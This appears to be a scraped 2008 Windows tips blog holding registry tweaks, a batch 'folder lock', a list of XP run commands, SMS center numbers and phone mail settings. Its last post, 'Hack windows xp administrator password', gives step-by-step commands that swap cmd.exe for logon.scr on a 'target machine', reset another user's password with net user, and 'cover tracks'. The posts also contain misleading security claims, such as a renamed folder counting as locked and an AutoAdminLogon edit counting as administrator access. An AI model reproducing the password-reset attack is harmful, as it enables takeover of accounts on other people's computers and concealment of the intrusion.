2008-05-23T13:33:00.001-07:00

In areas where you are trying to restrict what users can do on the computer, it might be beneficial to disable the ability to click on My Computer and have access to the drives, control panel etc.
To disable this:
1.Open RegEdit
2.Search for 20D04FE0-3AEA-1069-A2D8-08002B30309D
3.This should bring you to the HKEY_CLASSES_ROOT\CLSID section
4.Delete the entire section.
Now when you click on My Computer, nothing will happen.
You might want to export this section to a Registry file before deleting it just in case you want to enable it again. Or you can rename it to 20D0HideMyComputer4FE0-3AEA-1069-A2D8-08002B30309D. You can also hide all the Desktop Icons, see Change/Add restrictions.

How to Lock a Folder Using Notepad

2008-05-23T13:30:00.000-07:00

How to Lock a Folder Using Notepad

1) Consider you want to lock a folder named caclub in your f:\, whose path is f:\caclub

2) Now open the Notepad and type the following

ren caclub caclub.{21EC2020-3AEA-1069-A2DD-08002B30 309D}

3) Where caclub is your folder name. Save the text file as loc.bat in the same drive.

4) Open another new notepad text file and type the following

ren caclub.{21EC2020-3AEA-1069-A2DD-08002B30 309D} caclub

5) Save the text file as unloc.bat in the same drive.
---------
Usage:
---------
6) To lock the caclub folder, simply click the loc.bat and it will transform into control panel icon which is inaccessible.
7) To unlock the folder click the unloc.bat file. Thus the folder will be unlocked and the contents are accessible.

118 run commands in Windows xp

2008-05-23T12:10:00.001-07:00

Run command is very useful, but sometimes it is forgotten. Use it sometimes and you will find how powerful is run command.

1. Accessibility Controls - access.cpl
2. Accessibility Wizard - accwiz
3. Add Hardware Wizard - hdwwiz.cpl
4. Add/Remove Programs - appwiz.cpl
5. Administrative Tools - control admintools
6. Automatic Updates - wuaucpl.cpl
7. Bluetooth Transfer Wizard - fsquirt
8. Calculator - calc
9. Certificate Manager - certmgr.msc
10. Character Map - charmap
11. Check Disk Utility - chkdsk
12. Clipboard Viewer - clipbrd
13. Command Prompt - cmd
14. Component Services - dcomcnfg
15. Computer Management - compmgmt.msc
16. Control Panel - control
17. Date and Time Properties - timedate.cpl
18. DDE Shares - ddeshare
19. Device Manager - devmgmt.msc
20. Direct X Troubleshooter - dxdiag
21. Disk Cleanup Utility - cleanmgr
22. Disk Defragment - dfrg.msc
23. Disk Management - diskmgmt.msc
24. Disk Partition Manager - diskpart
25. Display Properties - control desktop
26. Display Properties - desk.cpl
27. Dr. Watson System Troubleshooting Utility - drwtsn32
28. Driver Verifier Utility - verifier
29. Event Viewer - eventvwr.msc
30. Files and Settings Transfer Tool - migwiz
31. File Signature Verification Tool - sigverif
32. Findfast - findfast.cpl
33. Firefox - firefox
34. Folders Properties - control folders
35. Fonts - control fonts
36. Fonts Folder - fonts
37. Free Cell Card Game - freecell
38. Game Controllers - joy.cpl
39. Group Policy Editor (for xp professional) - gpedit.msc
40. Hearts Card Game - mshearts
41. Help and Support - helpctr
42. HyperTerminal - hypertrm
43. Iexpress Wizard - iexpress
44. Indexing Service - ciadv.msc
45. Internet Connection Wizard - icwconn1
46. Internet Explorer - iexplore
47. Internet Properties - inetcpl.cpl
48. Keyboard Properties - control keyboard
49. Local Security Settings - secpol.msc
50. Local Users and Groups - lusrmgr.msc
51. Logs You Out Of Windows - logoff
52. Malicious Software Removal Tool - mrt
53. Microsoft Chat - winchat
54. Microsoft Movie Maker - moviemk
55. Microsoft Paint - mspaint
56. Microsoft Syncronization Tool - mobsync
57. Minesweeper Game - winmine
58. Mouse Properties - control mouse
59. Mouse Properties - main.cpl
60. Netmeeting - conf
61. Network Connections - control netconnections
62. Network Connections - ncpa.cpl
63. Network Setup Wizard - netsetup.cpl
64. Notepad notepad
65. Object Packager - packager
66. ODBC Data Source Administrator - odbccp32.cpl
67. On Screen Keyboard - osk
68. Outlook Express - msimn
69. Paint - pbrush
70. Password Properties - password.cpl
71. Performance Monitor - perfmon.msc
72. Performance Monitor - perfmon
73. Phone and Modem Options - telephon.cpl
74. Phone Dialer - dialer
75. Pinball Game - pinball
76. Power Configuration - powercfg.cpl
77. Printers and Faxes - control printers
78. Printers Folder - printers
79. Regional Settings - intl.cpl
80. Registry Editor - regedit
81. Registry Editor - regedit32
82. Remote Access Phonebook - rasphone
83. Remote Desktop - mstsc
84. Removable Storage - ntmsmgr.msc
85. Removable Storage Operator Requests - ntmsoprq.msc
86. Resultant Set of Policy (for xp professional) - rsop.msc
87. Scanners and Cameras - sticpl.cpl
88. Scheduled Tasks - control schedtasks
89. Security Center - wscui.cpl
90. Services - services.msc
91. Shared Folders - fsmgmt.msc
92. Shuts Down Windows - shutdown
93. Sounds and Audio - mmsys.cpl
94. Spider Solitare Card Game - spider
95. SQL Client Configuration - cliconfg
96. System Configuration Editor - sysedit
97. System Configuration Utility - msconfig
98. System Information - msinfo32
99. System Properties - sysdm.cpl
100. Task Manager - taskmgr
101. TCP Tester - tcptest
102. Telnet Client - telnet
103. User Account Management - nusrmgr.cpl
104. Utility Manager - utilman
105. Windows Address Book - wab
106. Windows Address Book Import Utility - wabmig
107. Windows Explorer - explorer
108. Windows Firewall - firewall.cpl
109. Windows Magnifier - magnify
110. Windows Management Infrastructure - wmimgmt.msc
111. Windows Media Player - wmplayer
112. Windows Messenger - msmsgs
113. Windows System Security Tool - syskey
114. Windows Update Launches - wupdmgr
115. Windows Version - winver
116. Windows XP Tour Wizard - tourstart
117. Wordpad - write
118. open registry editer- regedit

Send Free SMS .. (( ALL New Center No. Across the World )) !!

2008-05-07T02:06:00.000-07:00

New Free Center Numbers

FREE CENTER NO TO SEND SMS FREE OF CHARGE
CHECK THE FULL LIST OUT

India [+91 - ]
BPL Mobile India +91-9821000005
MAXtouch India +91-9820005446
Essar Cellphone +91-9811009998
Tata +919848001104
Command +919830099990
AirTel Delhi +91-98100-51914
Skycell Cellular +919840011003
Spice Karnataka +919844198441

WANNA SEE MORE FULL LIST IS THERE INCLUDE USA N MORE

Andorra
+376-301004

Australia
One.Tel Australia +61 411 990 001
Vodafone Australia +61-415011501
Telstra Australia +61-418706700
Telstra Australia +61-418706800
Telstra Australia +61-418706900
Optus Australia +61-412025989
Optus Australia +61-411990000
Optus Australia +61-411990001
Optus Australia +61-411990003

Austria
A1 +43 664 0501
Connect ONE +43 699 0001999
max-mobil +43 676 021
tele.ring +43 650 09000000.

Azerbaijan
Azercell +994-50-910-3300
Bakcell +994557070707

Baharain
+973-9600179

Belgium
Mobistar Belgium +32-95955205
Proximus Belgium +32-75161616
Proximus Belgium +32-75161612
Orange Belgium +32-486000005

Bosnia and Herzegovina
PTT GSM BIH +387-90-225522

Botswana
Mascom Wireless +267-71010024

Bulgaria
MobilTel: +35988000301

Canada
Fido Canada +1-5149931123

Chile
Entel PCS +56-98890005

China
Telecom China +86-1390591500
Telecom China +86 13800100500

Croatia
Cronet +385-980501
VIPNET +385-910401

Cyprus
Cyprus +3579700000

Czech Republic
Eurotel Czech rep +420-602909909
Radiomobil Czech rep +420-603051

Denmark
Sonofon Denmark +45-40590000
TeleDanmark Denmark +45-40390999
Telia DK Denmark +45-28187000
Mobilix Denmark +45-26265151

Denmark
Free! +45 40590006

Egypt
Click GSM +20105996500
Mobinil +20122000020

Estonia
EMT Estonia +372-5099000
Ritabell Estonia +372-5509911
Radiolinja Estonia +372-568771010

Fiji
+679901400

Finland
Radiolinja Finland +358-508771010
Sonera Finland +358-405202000

France
SFR France +33-609001390
Bouygues France +33-660003000
Itineris France +33-689004000
Itineris France +33-689004431
Itineris France +33-68900458

Germany
D1 Germany +49-1710760000
D1 Germany +49-1715990000
D1 Talkline Germany +49-1710760900
D2 Germany +49-172227033
D2 Germany +49-1722270000 [to D2 only]
D2 Germany +49-1722270333
D2 Talkline Germany +49-1722270258
Debitel Germany +49-1722270222
IC3S Germany +49-1722270201
Dr Materna Germany +49-1722270111
E2 VIAG Germany +49-1760000443
E-Plus Germany +49-1770600000
E-Plus Germany +49-1770610000
E-Plus Germany +49-1770620000

Greece
Panafon Greece +30-94219000
Telestet Greece +30-93599000
Telestet Greece +30-93597000
Cosmote Greece +30-97100000

Holland
Libertel Netherlands +31-6540881000
PTT Netherlands +31-653131313
Telfort Netherlands +31-626000230
BEN Netherlands: +31-624000000
Dutchtone, Netherlands: +31628500561

Hong Kong
Hutchinson Hong Kong +852-94985795
HK Telecom Hong Kong +852-90288000
Smartone Hong Kong +852-90100000

Hungary
Pan*** Hungary +36-209300099
Westel900 +36-30-9888-000
Vodafone +36709996500

Iceland
Landssimi Islands hf +354-8900100
Tal +354-6999099

Ireland
Eircell Ireland +35387699989
Esat Ireland +353-868002000

India [+91 - ]
BPL Mobile India +91-9821000005
MAXtouch India +91-9820005446
Essar Cellphone +91-9811009998
Tata +919848001104
Command +919830099990
AirTel Delhi +91-98100-51914
Skycell Cellular +919840011003
Spice Karnataka +919844198441

Indonesia
Satelindo Indonesia +62-81615
Telkomsel Indonesia is +62-81100000
Exelcomindo Indonesia +62-818445009

Isle of Man
Pronto GSM +447624499955

Israel
Orange Israel +972-54-120032

Italy
Omni Italy +39-3492000200
Omni Italy +39-3492000300
Omni Italy +39-3492000400
Omni Italy +39-3492000500
TIM Italy +39-3359609600
TIM Italy +39-3359608000
TIM Italy +39-338960960
TIM Italy +39-338980000
Wind Italy +39-3205858500

Kuwait
MTC +96596000303
Al-Wataniya +9656373717

Latvia
LMT Latvia +371-9202020
Baltcom GSM +371 9599994

Leba***
FTML Cellis +61-3488888

Lesotho
Vodacom Lesotho [+266]

Lithuania
Bite GSM Lithuania +370-9950115
Omnitel Lithuania +370-9899992

Luxembourg
PTT Luxembourg +352-021100003
Tango Luxembourg +352-091000030

Macau
Macau CTM +85366
Macau CTM +85368

Macedonia
MobiMak [389 - 70]
+389 70 000501

Malaysia
ADAM Malaysia +60-173600010
Celcom Malaysia +60-193900000
Mutiara Malaysia +60-162999000
Maxis Malaysia +60-120000015

Mauritius
EMTEL +230 7290999

Mongolia
MobiCom +97699000030

Montenegro
Pro monte +38169200000
Monet +38167100100

Morocco
Maroc Telecom +2121000021, +2121000022
Meditel +2123992000

Namibia
MTC [+264 - 81]

New Zealand
Vodafone New Zealand +64-21600600

Norway
NetCom Norway +47-92001000
NetCom Norway +47-9208977
TeleNor Norway +47-90002100
TeleNor Norway +47-90007777

PAKISTAN
Mobilink +92300000042
UFone +923330005150

Portugal
Telecel is +351-911616161
TMN Portugal +351-936210000
OPTIMUS +35193121314

Philippines
Globe Philippines +63-91702
Globe Philippines +63-91703
Globe Philippines +63-91704
Globe Philippines +63-91709
Islacom Philippines +63-9150200003
Smart Philippines +63-9180000101

Poland
Era GSM Poland +48-602951111
Era GSM Poland +48-602951112
Polkomtel Poland +48-601000310
Polkomtel Poland +48-601000311
IDEA Centertel Poland +48-501200777

Reunion
Reunion +33609001390

Romania
Connex Romania +40-92004000
Dialog Romania +40-94946000
Cosmorom (1800 MHz)

Russia
North West Russia +7-8129600096
MTS Russia +7-0957699100
BeeLine +7-90173100

Saudiarabia
SaudiTel +966-5-5842855

Serbia
MobTel Serbia +381-63100100
MobTel +38163100300
PTT Telekom Serbia +381-650000900
PTT Telekom Serbia +381-640000900

Seychelles
Airtel: +248700000

Singapore
Mobile One Singapore +65-96845999
Mobile One Singapore +65-96845997
SingTel Singapore +65-96400001
SingTel Singapore +65-96500001
SingTel Singapore +65-98189999
SingTel Singapore +65-96197777

Slovakia
Eurotel Slovakia +421-903333000
Globtel Slovakia +421-905303303

Slovenia
Mobitel Slovenia +386-41001333
Si.Mobil Slovenia +386-40441000

South Africa
MTN +27-831000002
MTN (Prepaid) +27-831000113
Vodacom South Africa +27-829119
Vodacom South Africa +27-829129

Spain
Telefonica Spain +34-609090909
Airtel Spain +34-607133000
Airtel Spain +34-607003110
Amena Spain +34-656000311

Sweden
Comviq Sweden +46-707990001
Comviq Sweden +46-707990002
Comviq Sweden +46-707990003
Comviq Sweden +46-707773078
Europolitan Sweden +46-708000708
Telia Sweden +46-705008999

Switzerland [+41-79]
Swisscom Switzerland +41-794999000
diAX Switzerland +41-765980000
Orange +41-787777070

Tanzania
Tritel +255812904000

Taiwan
Chung Wa Tele Taiwan +886-932400821

Thailand
AIS Thailand +66-18110888
WP1800 Thailand +66-16110400

Turkey
Turkcell Turkey +90-5329010000
Turkcell Turkey +90-5329020000
Turkcell Turkey +905329030000
Turkcell Turkey +90-5329040000
Telsim Turkey +90-5429800033

Ukraine
UMC +38050000501
Kyivstar +380-672020000
Golden Telecom +380444990000
Wellcome +38044 251 7777

United Arab Emirates
PTT UAE +97150 6014994

United Kingdom
Isle of Man Pronto GSM +447624499955
Vodafone UK +44-385016005
CellNet UK +44-802000332
Virgin Mobile UK +447958879890
Orange UK +44-973100973
Orange UK +44-973100974 internal
One2One UK +44-7958879879
Guernsey Telecoms [+44-4481/7781]
Jersey +44 7797704444

USA
Aerial Comms USA +1-8132630025
Aerial Comms USA +1-2812350025
Voicestream USA +1-2063130004
Pacific Bell USA +1-2099042010
Pacific Bell USA +1-2099042020
Powertel USA +1-3343338200
DigiPH PCS USA +1-3342090307
Omnipoint USA +1-9179070004
Sprint USA +1-7044100000
Washington PCS USA +1-410258953

Venezuela
Digitel +58-12-8000000

Yugoslavia
MobTel +381-63-100400
MobTel +381-63100300
MobTel +381-63100200
MobTel +381-63100100
MobTel +3816310030034
MobTel +3816310040034
PTT Telekom Serbia +381-650000900

Zimbabwe
Econet Wireless +263-91010030

Search files in rapidshare.com

2008-05-06T13:22:00.000-07:00

If you want a password for the files that you download
I have tip
for exemple you search a password for this link:http://rapidshare.com/files/33432765/forexemple.rar
copy only (33432765/forexemple.rar) or (33432765/forexemple.rar+pass) than paste in google you will see many things about the link one of them is the password

Automatic administrator login in Windows XP

2008-05-06T13:20:00.000-07:00

Well here's the trick which you can use to prove that Windows XP is not at all secure as multi-user operating system. Hacking the system registry from any account having access to system registry puts you in to the administrator account.
REGEDIT 4
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon]
"AutoAdminLogon"="1"

Setting for getting yahoomails in Nokia 3230.

2008-05-06T12:24:00.000-07:00

It works for S60 Symbian phones.

Here is the setting...

To enable the setting, go to messaging--->option--->setting--->email--->mailboxex-->add new

Mailbox name: name it as u wish
Access point in use: bsnlgprs(for bsnl users)
: mobile office(for airtel users)
My email address: type ur email address
(ex: xyz@yahoo.co.in)

outgoing mail server: smtp.mail.yahoo.co.in
or : smtp.mail.yahoo.com
send message: Immediately
Send copy to self: yes or no (as u like to get a copy of mail or not)
Include signature: yes (or no if you donot like to add a signature at the end)
Username: xyz
Password:********
Incoming mail server:pop.mail.yahoo.co.in(pop.mail.yahoo.co.in if u have a xyz@yahoo.co.in id)
Mailbox type:POP3
Security: off
APOP secure login:off

That's it andnow u r ready to get the mails in ur massaging folder. This setting also works for cellphones like Nokia6600, Nokia7610 and all similar Series 60 second editions phones.

Hack windows xp administrator password

2008-05-06T12:11:00.000-07:00

If you log into a limited account on your target machine and open up a dos prompt
then enter this set of commands Exactly:

cd\ *drops to root
cd\windows\system32 *directs to the system32 dir
mkdir temphack *creates the folder temphack
copy logon.scr temphack\logon.scr *backsup logon.scr
copy cmd.exe temphack\cmd.exe *backsup cmd.exe
del logon.scr *deletes original logon.scr
rename cmd.exe logon.scr *renames cmd.exe to logon.scr
exit *quits dos

Now what you have just done is told the computer to backup the command program
and the screen saver file, then edits the settings so when the machine boots the
screen saver you will get an unprotected dos prompt with out logging into XP.

Once this happens if you enter this command minus the quotes

"net user password"

If the Administrator Account is called Frank and you want the password blah enter this

"net user ricky blah"

and this changes the password on franks machine to blah and your in.

Have fun

p.s: dont forget to copy the contents of temphack back into the system32 dir to cover tracks